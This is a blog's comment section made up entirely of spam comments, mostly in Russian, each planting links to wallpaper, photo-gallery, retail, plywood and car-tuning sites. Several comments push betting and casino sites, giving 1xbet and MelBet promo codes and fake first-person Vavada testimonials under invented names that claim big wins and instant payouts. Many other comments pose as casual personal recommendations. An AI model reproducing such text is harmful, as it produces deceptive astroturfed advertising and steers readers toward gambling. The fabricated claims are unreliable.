ОтветитьУдалить2pac PC Wallpapers WallpapersHigh.com UHD for free https://wallpapershigh.com/2pac-pc
ОтветитьУдалитьMonster High Backgrounds wallpapershigh.com HIGH QUALITY absolutely free https://wallpapershigh.com/monster-high-backgrounds
ОтветитьУдалить3D Home Depot Wallpapers WallpapersHigh.com high definition for free https://wallpapershigh.com/3d-home-depot
ОтветитьУдалитьHigh Resolution Toy Story Backgrounds WallpapersHigh.com Full HD 100% free https://wallpapershigh.com/high-resolution-toy-story-backgrounds
ОтветитьУдалить90s Hip Hop Wallpapers WallpapersHigh.com Fullhd for free https://wallpapershigh.com/90s-hip-hop
ОтветитьУдалитьAnime Screensavers Wallpapers WallpapersHigh.com high quality 100% free https://wallpapershigh.com/anime-screensavers
ОтветитьУдалитьBadass Alabama Football Wallpapers wallpapershigh.com high resolution fast and free https://wallpapershigh.com/badass-alabama-football
ОтветитьУдалитьAesthetic Camera Wallpapers WallpapersHigh.com FULL HD 100% free https://wallpapershigh.com/aesthetic-camera
ОтветитьУдалитьBeautiful Screen Wallpapers wallpapershigh.com HD absolutely free https://wallpapershigh.com/beautiful-screen
ОтветитьУдалитьLinen Look Wallpapers Wallpapershigh.com https://wallpapershigh.com/linen-look
ОтветитьУдалитьFire Ultra Wallpapers wallpapershigh.com https://wallpapershigh.com/fire-ultra
ОтветитьУдалитьКачественный ламинат бывает как дерево https://fanwood.by/shop/dsp-dvp-i-mdf/, в качестве натурального камня или керамогранитной плитки. Принципиальным отличием полимерного покрытия представляется не исключительно хорошее сопротивление пару, а также возможность создания персональной расцветки. Частенько наблюдается ламинированная поверхность фанеры специфической, необычной структуры и изображения.
ОтветитьУдалитьFire God Liu Kang Wallpapers WallpapersHigh https://wallpapershigh.com/fire-god-liu-kang
ОтветитьУдалитьФанеру влагонепроницаемую используют не только в кораблестроении. Хозяйственное использование листов крепкого и легкообрабатываемого материала https://fanwood.by/ достаточно широко. При производстве шкафов или внутренней декорации помещений, для создания необычных объектов декора, для покрытия крытых тентов грузовиков - это всего лишь относительный список использования общепринятого водонепроницаемого материала.
ОтветитьУдалитьСтоимость текущего материала как правило небольшая https://fanwood.by/shop/fof-fanera/. Во время применения химической смолы плиты фанеры не деформируются под действием неблагоприятных погодных условий или сильной влажности. В результате перпендикулярно соединенных волокон влагостойкий вид фанерной плиты не уступает по крепости настоящей древесине.
ОтветитьУдалитьПовседневное применение листов крепкого и легкообрабатываемого материала https://fanwood.by/shop/fsf-fanera/ достаточно огромно. Фанерную плиту влагонепроницаемую применяют не исключительно в морском транспорте. При производстве мебели или внутренней облицовки помещений, для выпуска специфических предметов декора, для облицовки крытых тентов грузовиков - это только малый перечень использования общепризнанного водоустойчивого материала.
ОтветитьУдалитьТекущая вариация телефона http://gti-club.ru/forum/member.php?u=118369 содержит многообразное число удобных поправок. Актуальные инструменты, интегрированные в Айфон, помогут заглянуть в фантастическое будущее. С последним изданием Айфона четырнадцать фирма Apple внесла большое количество существенных настроек. Новшества сделали недавний умное устройство быстрее, чем другие комплектации.
ОтветитьУдалитьДействительно передовой смарт айфон 14 плюс с двумя симками темная ночь 256 гб уже в продаже во всех регионах России. С выходом новой модели любому доступен действительно бойкий интернет, великолепная камера и высокая продуктивность Айфона 14. Новая комплектация Айфон 14 предоставляет дополнительные функции.
ОтветитьУдалитьКатрин Уокер https://abys.ru/katrin-uoker
ОтветитьУдалитьБесплатный просмотр сериалов на сайте «КиноНавигатор» аниме фильмы где есть смерть матери https://kinonavigator.ru/catalog/films/films_anime-t_smert_materi
ОтветитьУдалитьВ онлайн-кинотеатре KinoNavigator есть действительно большой список мультфильмов в русской озвучке. Кинотеатр Kino Navigator доступен на всей территории РФ, потребуется только скоростной инет. Наконец-то есть возможность весь день просматривать отличные кинофильмы без рекламы. Смотреть мультфильмы бесплатно https://smf.sos-dan.ru/index.php?topic=204541.new на сайте «Кино Навигатор» – действительно простой шанс отвлечься под конец рабочего дня.
ОтветитьУдалить2 horse wallpapers https://wallpapershigh.com/2-horse
ОтветитьУдалитьCool gangster skull wallpapers https://wallpapershigh.com/cool-gangster-skull
ОтветитьУдалитьSpring green wallpapers https://wallpapershigh.com/spring-green
ОтветитьУдалитьКирсанов Алексей https://cojo.ru/znamenitosti/kirsanov-aleksey-18-foto/
ОтветитьУдалитьIwan Rheon 48 лучших фото cojo.ru
ОтветитьУдалитьВне зависимости от того, требуется ли вам сверхмощный гаджет, новый телевизор или интеллектуальные умные часы, вы всегда подберете себе универсальное решение в нашей фирме.Мы непрерывно расширяем ассортимент, для того, чтобы воплотить в жизнь абсолютно все потребности и предпочтения всех наших заказчиков. Купить продукцию предприятия Samsung в сети востребованных магазинов online телефоны samsung galaxy z Нижний Новгород - это значит купить качественное и прочное устройство, которое станет вашим любимым, идеальным ассистентом в домашних условиях.
ОтветитьУдалитьСистема бонусов и поощрений в БК 1хбет значительно увеличивает привлекательность компании в глазах игроков. Очень выгодные предложения доступны и новичкам, так и гостям, уже имеющим опыт работы на платформе. Среди внушительного ассортимента бонусной программы очень очень просто потеряться. Каждый промокод 1хбет гарантирует право на определенные преференции - действующий промокод 1xbet.
ОтветитьУдалитьБК MelBet пользуется большой популярностью сегодня на отечественном рынке: -Деятельность фирмы лицензирована; - Пользователям предоставлен впечатляющий список ставок - в формате live и предматчевых; - Тут нет задержек с выплатами. Линия ставок неописуемо презентабельна. Для того, чтобы получить прибыльный бонус на совершение ставок, требуется всего лишь использовать промокод MelBet RS777. Получить промокод вы можете на ставку или на депозит. Каждое предложение имеет свои особенности отыгрыша - промокод для MelBet.
ОтветитьУдалитьВ 2023 году промокод 1хбет предоставляющий наибольший бонус - 1XFREE777. Бонусные деньги начисляются автоматом на отдельный счет и их сразу же вы можете использовать для игры - промокод 1 икс бет.
ОтветитьУдалитьЛера Козлова (32 лучших фото) смотреть фото https://cojo.ru/znamenitosti/lera-kozlova-32-foto/
ОтветитьУдалитьВы можете выбрать продукт, тот что вам необходим, заказать и далее оплатить его, не растрачивая лишнего времени. Мы ценим ваше удобство и поэтому стараемся организовать закупку простой и приятной.К тому же, мы знаем, собственно что ваше время ценно, по этой причине все наши интернет-магазины наушники samsung galaxy buds 2 pro Пермь гарантируют комфортное и быстрое документальное оформление покупки.
ОтветитьУдалитьВ случае, если вы желаете отыскать авторитетный и безопасный источник для приобретения современной техники, тогда сеть фирменных онлайн магазинов Samsung http://bbs.ou-lei.com/home.php?mod=space&uid=353410 лучший выбор! Samsungstore.ru может предложить большой выбор продукции Samsung, включая телевизоры, умные часы, ноутбуки, смартфоны, бытовую технику планшеты, и прочее. В данный момент, наши торговые центры делают прекрасное предложение, а именно инновационные решения в интересах вашей семьи, работы и конечно энергичного образа жизни.
ОтветитьУдалитьКрасивые открытки милые картинки https://cojo.ru/kartinki/krasivye-otkrytki-92-foto/
ОтветитьУдалитьПокраска волос луковой шелухой в хорошем качестве https://cojo.ru/pricheski-i-strizhki/pokraska-volos-lukovoy-sheluhoy-32-foto/
ОтветитьУдалитьКрасивые длинные волосы (65 фото) - лучшие фото идеи с названиями классные фото https://fotoslava.ru/krasivye-dlinnye-volosy
ОтветитьУдалитьКороткие стрижки виктории бекхэм (42 фото) классные фото https://byry.ru/korotkie-strizhki-viktorii-bekhem/
ОтветитьУдалитьЭлина Быстрицкая классные фото https://fotoslava.ru/elina-bystritskaya
ОтветитьУдалитьMaria Gorban картинки https://fotoslava.ru/maria-gorban
ОтветитьУдалитьСтопы девушек милые фото https://fotoslava.ru/stopy-devushek
ОтветитьУдалитьКрасивые аватарки природа милые картинки https://fotoslava.ru/krasivye-avatarki-priroda
ОтветитьУдалитьСпиреи в ландшафтном дизайне участков (49 фото) HD https://fotoslava.ru/spirei-v-landshaftnom-dizajne-uchastkov-49-foto
ОтветитьУдалитьOcean Bedroom Wallpapers UHD fast and free https://wallpapershigh.com/ocean-bedroom
ОтветитьУдалитьMountain Moon Wallpapers fullhd fast and free https://wallpapershigh.com/mountain-moon
ОтветитьУдалитьApache Rr 310 Wallpapers FULL HD 100% free https://wallpapershigh.com/apache-rr-310
ОтветитьУдалитьEpic Sonic Wallpapers high res absolutely free https://wallpapershigh.com/epic-sonic
ОтветитьУдалитьHigh Resolution Windows 10 Wallpapers full hd absolutely free https://wallpapershigh.com/high-resolution-windows-10-wallpapers
ОтветитьУдалитьMotivational Ias Wallpapers FULLHD 100% free https://wallpapershigh.com/motivational-ias
ОтветитьУдалитьWooden Brick Wallpapers high quality for free https://wallpapershigh.com/wooden-brick
ОтветитьУдалитьShankar Bhagwan Ke Wallpapers high quality for free https://wallpapershigh.com/shankar-bhagwan-ke
ОтветитьУдалитьDark Sand Wallpapers FULLHD absolutely free https://wallpapershigh.com/dark-sand
ОтветитьУдалитьBlue Exorcist Wallpapers Full Hd absolutely free https://wallpapershigh.com/blue-exorcist
ОтветитьУдалитьЧё, братаны, вы слышали о военных кораблях фэнтези? Они, аж, фиксируют взоры! Если ты в теме, то я рекомендую тебе зайти на сайт Креофото, там можно найти самые классные фоточки этих кораблей. Цепляют на раз! Вот ссылочка https://creofoto.ru/voennye-korabli-fentezi для тех, кто хочет полюбоваться на них и утонуть в фэнтезийном мире. Ваще бальзам на душу, я тебе говорю!
ОтветитьУдалитьПосмотри, чувак, эти офигительные картинки с пейзажами карандашом природа. Они просто офигенные, смотришь и завораживаешься. Видишь леса, горы, реки, всё такое красивое и живое. На сайте https://risuemsami.ru/peyzazhi-karandashom-priroda/ есть целая куча таких картинок. Заходи и смотри, увидишь, как круто рисуют природу карандашом. Это вещь, поверь мне!
ОтветитьУдалитьВау, а вы видели эти прикольные маленькие срисовки по игре Undertale? Они просто супер! Можно посмотреть, как художник создает их этап за этапом. Я нашел крутой сайт, где их много - https://risuemsami.ru/prikolnye-malenkie-srisovki-undertale-poetapno/. Обязательно загляни, там точно есть что-то, что тебе понравится!
ОтветитьУдалитьПривет! Я хотел бы рассказать вам о своем успешном опыте игры в интернет-казино Вавада. Клуб Вавада мобильная версия - это настоящая находка для любителей азартных игр в любом месте и в любое время. Я просто с удовольствием играю на своем смартфоне, когда нахожусь в дороге или просто отдыхаю на диване. Казино Вавада предлагает огромный выбор слотов, щедрые бонусы и простую регистрацию. Что меня порадовало еще больше - это быстрые выплаты. Когда я выиграл крупную сумму, деньги мне поступили на счет мгновенно. Интерфейс казино очень удобный, все понятно и интуитивно понятно. К тому же, при регистрации я получил приветственный бонус и фриспины, которые помогли мне увеличить свои шансы на победу. Если вы ищете качественное и надежное онлайн-казино, то я настоятельно рекомендую попробовать клуб Вавада мобильная версия. Удачи в игре! Подробнее о казино Вы можете узнать по ссылке https://vavadax4.site/.
ОтветитьУдалитьПривет, друзья! Если кто-то из вас увлекается красивым письмом, то обязательно загляните на сайт https://cultmir.ru/kalligrafiya. Там вы найдете кучу классных идей и фоточек по каллиграфии. Можете посмотреть и подсмотреть, какие шрифты круто сочетаются, как правильно писать каждую букву и что еще можно вытворять с карандашом или пером в руках. Это так вдохновляет, что сразу самому захочется попробовать и даже несколько листочков заполнить. Заводите инструменты поглубже и вперед, друзья, творить красоту!
ОтветитьУдалитьНе могу больше скрывать! Сегодня нашел лютую подборку демотиваторов на тему весны! Че-то я и не думал, что вот так вот можно демотивироваться на самоцвете природы, но эти приколюшки меня уболтали! Приглядывай! �� Просто забей в интернете Демотиватор весна, а еще круть ссылку https://cvam.ru/vesna не забудь проверить - там про весну все, что надо! ����
ОтветитьУдалитьПравильно подобранные белые пряди спереди могут придать вашей прическе стильный и модный вид. Они идеально сочетаются с различными цветами волос и позволяют выделиться из толпы. Если вы хотите узнать больше об этой интересной тенденции и посмотреть примеры, рекомендую вам посетить сайт cojo.ru, где вы найдете 61 фотографию различных вариаций белых прядей спереди. Просто перейдите по ссылке https://cojo.ru/?p=593182 и получите вдохновение для своей новой прически.
ОтветитьУдалитьПривет, я Иван Иванов, и я хочу рассказать о своем успешном опыте игры в интернет-казино Вавада! Нужно было всего лишь сделать вавада вход vavadac, и я уже мог наслаждаться разнообразием увлекательных слотов и выигрывать крупные суммы! Бонусы и фриспины, предоставленные Вавада, делают игру еще более захватывающей. Удобный интерфейс и простая регистрация на сайте позволяют быстро начать игру, а быстрые выплаты гарантируют получение выигрыша в кратчайшие сроки. Если вы рискнете попробовать свою удачу в Вавада, вы точно не пожалеете! Посетите https://vavadaa.fun/ и окунитесь в мир азартных игр уже сегодня!
ОтветитьУдалитьЯ, Иван Петров, хотел бы поделиться своим положительным опытом игры в интернет-казино Вавада. Очень доволен, что открыл для себя вавада мобильная версия vafaoff. Этот сайт предоставляет удобный интерфейс, который позволяет легко и быстро находить любимые слоты и играть в них. Бонусы и приветственные бонусы на Вавада также порадовали - получил крупную сумму на старте игры. Особенно понравились фриспины, которые дают возможность выиграть еще больше. Все выплаты происходят быстро и без проблем. Регистрация была простой и занимает всего несколько минут. Рекомендую всем попробовать свою удачу на Вавада, ведь это проверенное и надежное казино! Обязательно пробуйте vavada мобильная версия vafaoff по ссылке вавада мобильная версия vafaoff.
ОтветитьУдалитьЭй, всем лежачим в койках! Хочу поделиться с вами красивыми картинками спокойной ночи. Это просто расслабон, заряженный позитивом! Цвета яркие, нарисовано офигенно. Особенно понравилось солнышко на одной из картинок. Вот оно, дует своими лучами, аж жизненная энергия от него прет! Если она тебя зацепит, то советую заглянуть на сайт https://cvam.ru/solnyshko-3. Там еще больше классных картинок с солнышком, чтобы зарядиться силой перед сном. Так что покоряйте ночь с весьма солнечными снимками, братцы! Дарю вам летнее настроение и самые позитивные пожелания на ночь. Картиночкам верить можно!
ОтветитьУдалитьПривет, всем! Хочу поделиться с вами интересной информацией об Аристархе Венесе. Если вы еще не знакомы с этим талантливым человеком, то советую вам обратить внимание на его работы. Аристарх Венес – известный фотограф, чьи работы вызывают восхищение и восторг. Он способен зафиксировать моменты, которые оставят вас безмолвными. Каждая его фотография – настоящее произведение искусства. Если вас заинтересовала его творческая деятельность, вам обязательно стоит посмотреть больше фото Аристарха Венеса, и вы это можете сделать, перейдя по ссылке аристарх венес. Там вы увидите много удивительных снимков, которые покажут вам, насколько талантлив этот фотограф. Уверен, что вам понравится его работа так же, как и мне. Приятного просмотра!
ОтветитьУдалитьПривет, друзья! Сегодня хочу поделиться с вами интересной темой - говядина Халяль. Многие из нас, возможно, слышали об этой особой категории мяса. Говядина Халяль - это мясо, приготовленное по правилам и нормам, установленным исламом. Оно должно быть произведено из животных, которые были зарезаны специально обученными искусными людьми в соответствии с религиозными требованиями. В результате этого процесса получается натуральное, свежее и качественное мясо. Я нашел отличный ресурс, где можно узнать больше о говядине Халяль и даже посмотреть фотографии. Рекомендую вам посетить сайт и посмотреть: говядина халяль. Там вы найдете полезную информацию и сможете более глубоко понять, что такое говядина Халяль и как она отличается от обычной говядины. Уверен, что этот ресурс поможет вам расширить свои знания и станет полезным источником информации. Буду рад, если поделитесь своими отзывами и впечатлениями после посещения сайта. Всем приятного аппетита и интересного чтения!
ОтветитьУдалитьПривет! Представляешь, сегодня наткнулся на такие красивые гифки с розами, что просто не могу не посоветовать тебе их посмотреть! Вот ссылка на сайт, где я нашел эту красоту - красивой женщине розы гифки. Там ты найдешь множество удивительных анимаций с розами, которые, уверяю, тебя точно порадуют! Я сам был впечатлен, насколько же эти гифки выглядят реалистично и шикарно. Так что не упусти возможность взглянуть на эту красоту!
ОтветитьУдалитьЧуваки, слышали? День рождения Динара уже скоро! И я знаю, где можно взять крутую поздравительную открытку специально для нее. Она стильная, пацаны, слов нет! Так что, если хотите по-крутому поздравить Динара, то я рекомендую заглянуть на вот этот сайт Поздравительная открытка с днем рождения Динара стильные. Тут найдется открытка на любой вкус - яркая, красивая, стильная, сочная, что угодно! Так что давайте сделаем так, чтобы Динарка вспомнила этот день надолго!
ОтветитьУдалитьО, братаны, сёдня я хочу вам рассказать о прекрасной актрисе Александре Даддарио! Какая она красотуня, просто огонь! Если еще не знаете, пропустить такую бомбу никак нельзя. Вот нашел отличный сайт, где есть все интересное про Александру, там и фото на пляже и ролики с ее участием. Поэтому, братик, я очень советую всем, кто еще не знаком с этой девочкой, прямо сейчас переходить по ссылке александра даддарио и наслаждаться всем ее очарованием. Тут точно есть, чему порадоваться!
ОтветитьУдалитьРаскраска тока бока распечатать тело лучшие картинки;Я нашел крутые раскраски к игре Така Бока! Тут картинки города, причем тока бока его! Они просто огонь, можно распечатать и раскрасить на здоровье. Мне особенно понравилось как четко все нарисовано, прямо создается атмосфера этого города! Если тоже заинтересовался, то рекомендую заглянуть сюда и скачать лучшие картинки для раскрашивания!
ОтветитьУдалитьНатюрморты Поля Сезанна – это истинные шедевры искусства. В каждом из них художник передал свою любовь к природе, его восхищение простыми вещами. В экспозиции можно увидеть разнообразные натюрморты, они отличаются и в цветовой гамме и по композиции. Используя краски, Сезанн создает живые и яркие картины, отражающие его уникальное видение мира. Отправляйтесь на сайт https://cojo.ru/izobrazitelnoe-iskusstvo/natyurmorty-sezanna-38-foto/, чтобы полностью окунуться в мир натюрмортов Сезанна и насладиться его талантом.
ОтветитьУдалитьЕсли ты хочешь пошалить с внешностью и сделать что-то новенькое, то каре до подбородка - идеальный выбор! Этот стиль стрижки смотрится супер стильно и сексуально. Мне ооочень нравится! Если хочешь узнать больше о данной стрижке, то тебе сюда: oclo.ru. Там тебе расскажут все секреты и дадут мега полезные советы! Заходи и не пропусти!
ОтветитьУдалитьДрузья, нас всех иногда накрывает плохое настроение и кажется, что ничего не получается. Но помните, татуировка никогда не сдавайся! Она напомнит вам о силе и необходимости сохранять веру в себя. Каждый день поверьте в свои силы и идите к своей мечте. А если нужно поддержка, загляните на ссылку, там вы найдете красивые и вдохновляющие татуировки на эту тему!
ОтветитьУдалитьНа днях наткнулся на удивительные фотографии рыбы молот. Не могу не поделиться! Эти создания просто поражают своими формами и красками. Вот ссылка, где можно посмотреть еще больше фото: рыба молот. Обязательно загляните, впечатления будут незабываемые!
ОтветитьУдалитьТока бока раскраска - это просто чудо! Фото персонажей с одеждой, которые можно раскрасить, просто бомба. Я нашел тут крутые картинки и прямо затянулся. А еще мне зашла кухня в домах Тока Бока, там так уютно! Рекомендую тебе Дома в тока бока кухня в хорошем качестве, точно не пожалеешь!
ОтветитьУдалитьПознакомьтесь с удивительным миром каллиграфии через трафареты! Наши фотографии и иллюстрации демонстрируют, как простые инструменты могут превратить обычные слова в настоящее искусство. Разнообразие стилей и возможностей трафаретов вдохновит вас на творчество и новые проекты. Подробнее о каллиграфии через трафареты вы можете узнать по ссылке: Каллиграфия трафарет. Успейте окунуться в мир эстетики и красоты!
ОтветитьУдалитьПосмотри, прикольные картинки про папу! Так смешно, не могу! Все нахаляву и без вранья! Но самая штука - это ссылка на сайт, там просто трешак про папу, это надо обязательно посмотреть! Вот ссылка: https://cvam.ru/rzhachnye-pro-papu. Прости грамматические ошибки, я пишу как могу. Аве.
ОтветитьУдалитьНа днях наблюдал за удивительным зрелищем в своем саду — бабочка бронзовка великолепно выглядела на фоне цветущих растений! Эти красивые создания привлекают внимание своими яркими крыльями, переливающимися разными оттенками золота и бронзы. Если вам интересно узнать больше о бабочке бронзовке, рекомендую заглянуть на сайт бабочка бронзовка, где можно найти много интересной информации и красивых фотографий этих удивительных существ.
ОтветитьУдалитьПривет, ребята! Сегодня расскажу вам о крутом тренде - книжных паттернах! Это такие узоры на одежде, сумках и других вещах, которые выглядят точно как страницы из книги. Очень классная идея для стильного образа! А еще я нашел ссылочку на сайт, там подробно все расписано про этот паттерн. Поклацайте сюда https://cultmir.ru/knizhnyy-pattern и вдохновитесь новыми идеями! Уверен, вам понравится!
ОтветитьУдалитьПривет, мужчины! Если вы задумываетесь о новой татуировке на предплечье, то вам обязательно стоит заглянуть на сайт ecofoto.ru. Тут вы найдете множество крутых и стильных вариантов тату для вашего предплечья. От геометрических узоров и символов до реалистичных изображений и портретов. Уверен, что найдете то, что действительно вас зацепит! Не забудьте посетить страницу https://ecofoto.ru/tatuirovki/tatuirovki-dlya-muzhchin-na-predpleche/ для полного списка и вдохновляющих фотографий татуировок на предплечье для мужчин. Приступайте к выбору и преображайте свое тело вместе с фотостэйджем!
ОтветитьУдалитьВсем привет! Рекомендую автосервис АвтоКрасное в Гомеле на ул. Механизаторов, д.1! Ребята помогли моей Nissan X-Trail 2014 года, когда она начала жёстко тупить. Оказалось, проблема в прошивке, починили за час, взяли недорого. Респект за профессионализм! Теперь на трассах рву со светофоров, как на новой тачке! Рекомендую прокачать свою тачку! https://service-krasnoe.by/chip-tyuning-nissan-tablitsa/ У них, кстати, есть офигенная табличка с ценами и эффектом от прошивки!
ОтветитьУдалитьПривет, девчонки! Я только что наткнулась на онлайн-галерею супер стильных женских курток и пуховиков! Вот прям все как нельзя лучше для нашего холодного сезона. А особенно мне понравились кожаные куртки. Они такие классные и стильные! Я влюбилась в одну модель сразу же, когда ее увидела. Если вы тоже хотите найти идеальную куртку или пуховик, гляньте обязательно здесь https://fotofakt.ru/letnie-kardigany-kryuchkom. Там много крутых моделей, выбрать будет не просто, особенно когда каждая понравится! Или я одна такая слабость?)) Пойду, порассматриваю модели еще раз, а вы присоединяйтесь!
ОтветитьУдалитьПолучилась большая пустая открытка? Не знаешь, что написать внутри? Не беда, у меня есть идея! Завали открытку милыми поздравлениями и картинками, а внутри вставь ссылку на этот сайт https://grafu.ru/otkrytka-bolshaya-pustaya. Там ты найдешь кучу креативных идей для текста внутри открытки. Легкий способ сделать открытку крутой и неповторимой! Так что, дерзай и удивляй друзей и близких!
ОтветитьУдалитьПривет, дорогие девушки и парни! Хотите придать вашим бровкам что-то особенное? Тогда мне есть для вас супер-пупер идея! Ищите в интернете фотографии бровей, которые нарисованы как произведения искусства. Примерно такое можно найти на сайте fotoblik.ru. Там вас ждет настоящий брови арт! Реальные шедевры из бровей! Посмотрите, какие бывают живые картины на лице! Просто нереально! Самое крутое, что вы можете найти там мастеров, которые умеют делать такие бровки и записаться к ним на процедуру. Так что не упускайте шанс! Кликай по ссылочке https://fotoblik.ru/brovi-art и вдохновляйтесь на свои новые шедевры! Удачи в создании неповторимого стиля!
ОтветитьУдалитьВы только посмотрите на эти удивительные фото Арнольда Шварценеггера в межсезонье! Видно, что даже в перерывах между съемками и тренировками он не теряет форму и остается в отличной физической кондиции. На этих снимках Арнольд демонстрирует, как важно поддерживать активный образ жизни круглый год, независимо от времени года. Если хотите узнать больше и увидеть все фотографии, переходите по ссылке: арнольд шварценеггер в межсезонье.
ОтветитьУдалитьДля всех, кто хочет почувствовать себя настоящей королевой, идеально подойдет пышное золотое платье. Этот наряд подчеркнет вашу женственность и добавит блеска любому торжеству. Золотой цвет символизирует роскошь и элегантность, а пышный силуэт создаст эффектный образ, который обязательно привлечет внимание. Будь то свадьба, выпускной или вечерний прием, это платье станет вашим лучшим выбором. Узнать больше и заказать свое идеальное пышное золотое платье можно по ссылке: пышное золотое платье.
ОтветитьУдалитьКогда вы дарите букет, упаковка играет ключевую роль. Она делает подарок еще более особенным и элегантным. Правильная упаковка защищает цветы и подчеркивает их красоту. На сайте упаковка букета вы найдете множество идей и вариантов для упаковки вашего букета так, чтобы он стал по-настоящему запоминающимся подарком. Посетите сайт и выберите лучший вариант упаковки для своих цветов!
ОтветитьУдалитьВдохновитесь нашими идеями для создания жутких и забавных поделок к Хэллоуину! От простых бумажных фонариков и пауков до более сложных украшений из тыквы и мыла – у нас найдется что-то интересное для каждого. Создайте особую атмосферу праздника своими руками и удивите гостей оригинальными украшениями. Заходите на наш сайт и узнавайте больше про хэллоуин поделки!
ОтветитьУдалитьСвадьба — это волшебный момент не только для молодых, но и для их родителей. Они гордятся своими детьми, поддерживают их и делятся бесценным опытом. Чтобы этот день запомнился всем, важно создать атмосферу любви и тепла. В нашем посте вы найдете идеи, как родители могут участвовать в свадебной церемонии, трогательные моменты и советы по организации. Узнайте больше о роли родителей на свадьбе, перейдя по ссылке родители на свадьбе. Подарите своим близким незабываемые эмоции в этот важный день!
ОтветитьУдалитьЙоу, ребятки! Вот такая мысля у меня появилась: у кого-то из вас очкануло пять лет свадьбы, а значит пора выражать свое любящее отношение мужу. Чтобы помочь вам с этим делом, я нашел крутой сайт, где есть куча поздравлений и открыток на тему Пять лет свадьбы поздравления мужу. Поистине штука, жесть просто! Всего не перечислишь, там и смешные фотки, и искренние пожелания, и даже рифмованные строки. В общем, заходите на https://grafu.ru/pyat-let-svadby-pozdravleniya-muzhu и выбирайте самые крутые поздравления для своей половинки. Ведь пять лет вместе - это уже круто!
ОтветитьУдалитьАнастасия Горелик — настоящая звезда в мире волейбола! Её игра завораживает и вдохновляет многих. Недавно наткнулась на удивительную статью о её достижениях на сайте Котспорт. Там подробно описывается её путь к успеху и важные моменты карьеры. Если вы тоже увлечены волейболом или просто хотите узнать больше о талантливой спортсменке, рекомендую заглянуть на их страницу: https://kotsport.ru/anastasiya-gorelik-voleybol. Там вы найдёте много интересного и вдохновляющего!
ОтветитьУдалитьПокраска волос с переходом – это один из самых модных и стильных трендов в мире красоты. Она позволяет создать плавный переход от одного цвета к другому, что придаёт волосам объем и динамику. Такой вид окрашивания подходит для любого типа волос и позволяет экспериментировать с различными оттенками, от классических натуральных до ярких и экстравагантных. Узнать больше о технике и посмотреть вдохновляющие примеры вы можете по ссылке покраска волос с переходом. Попробуйте изменить свой образ и добавьте яркости в свою жизнь!
ОтветитьУдалитьПосмотрите на эти потрясающие фотографии Нины Чаловой! Она умело передает в своих работах глубину человеческих чувств и красоту окружающего мира. Каждое изображение словно оживает под ее искусным взглядом. Если вы хотите узнать больше о талантливой художнице, рекомендую заглянуть на сайт Нина Чалова. Там вы найдете еще больше интересных фото и подробную информацию о ее творчестве.
ОтветитьУдалитьПарни, завалили меня други чертовыми бикини и очками! Такие девушки... нужно просто смотреть и наслаждаться жизнью, братишки! Я щас контента нашел по этой теме - девушек в бикини и очках, и поверьте, это бомба! Все цвета, формы, красоты, аж слюни текут! Если вы тоже хотите полакомиться таким контентом, то советую заглянуть на сайт https://subliminalkey.com/devushki-v-bikini-i-ochkah. Там куча классных фоток и обои для экрана, чтоб всегда помнить, почему мы живем, друзья!
ОтветитьУдалитьПарни, а вы знали, что на сайте cultmir.ru есть крутые фоны для сторис с кафешками? Если вы как я обожаете висеть в кофейне, то такой фон прям кстати! Вот ссылка: https://cultmir.ru/fon-dlya-storis-s-kofeyney. Там можно найти клёвые картинки и фото, чтобы украсить свои истории в инсте. Проверено лично, уже себе в фон поставил, смотрится огонь! Так что рекомендую, ребята, заглянуть на сайт, посмотреть и выбрать что-то по душе. Удачи в оформлении ваших сторис! ��
ОтветитьУдалитьПривет, друзья! Хочу порекомендовать вам посетить галерею, где собраны 32 фотографии Катерины Зверевой - прекрасные работы, которые просто завораживают! Если вы фанаты красивых картинок, то вам точно понравится это творчество. Не упустите шанс насладиться невероятной эстетикой и талантом художницы. Пройдите по ссылке https://citruc.ru/katerina-zvereva/ и окунитесь в удивительный мир изображений!
ОтветитьУдалитьЭй, ребята, вы когда-нибудь видели классные картины на темно-зеленом фоне? Это просто огонь! Они создают атмосферу таинственности и загадочности. Хочешь узнать больше? Подробности по ссылке: https://fonetastik.com/temno-zelenyy-fon-kartiny. Там крутые варианты картин с этим фоном, чекайте!
ОтветитьУдалитьЕсли ты хочешь оставаться стильной и комфортной в летние дни, то я тебе советую носить кюлоты! Они отлично подходят для жарких дней: широкие, свободные и дышащие материалы - вот то, что нужно. А для подбора отличных комбинаций с кюлотами, загляни сюда. Там ты найдешь идеи и вдохновение, чтобы собрать свой летний лук. Не упусти возможность выглядеть круто и чувствовать себя уверенно!
ОтветитьУдалитьПривет, девчонки! Я недавно нашла отличную галерею с фото и картинками, посвященную макияжу для смуглой кожи. Там так много красивых образов и идей! Настолько вдохновляюще! Я была просто в восторге! Если вы тоже хотите узнать больше о самых модных и стильных вариантах макияжа для вашего оттенка кожи, то я настоятельно рекомендую пройти по ссылке https://fotofakt.ru/tsvet-volos-vanil и подивиться этой галерее картинок и фото. Вы точно найдете что-то, что вам понравится! Удачи в экспериментах с макияжем! ����
ОтветитьУдалить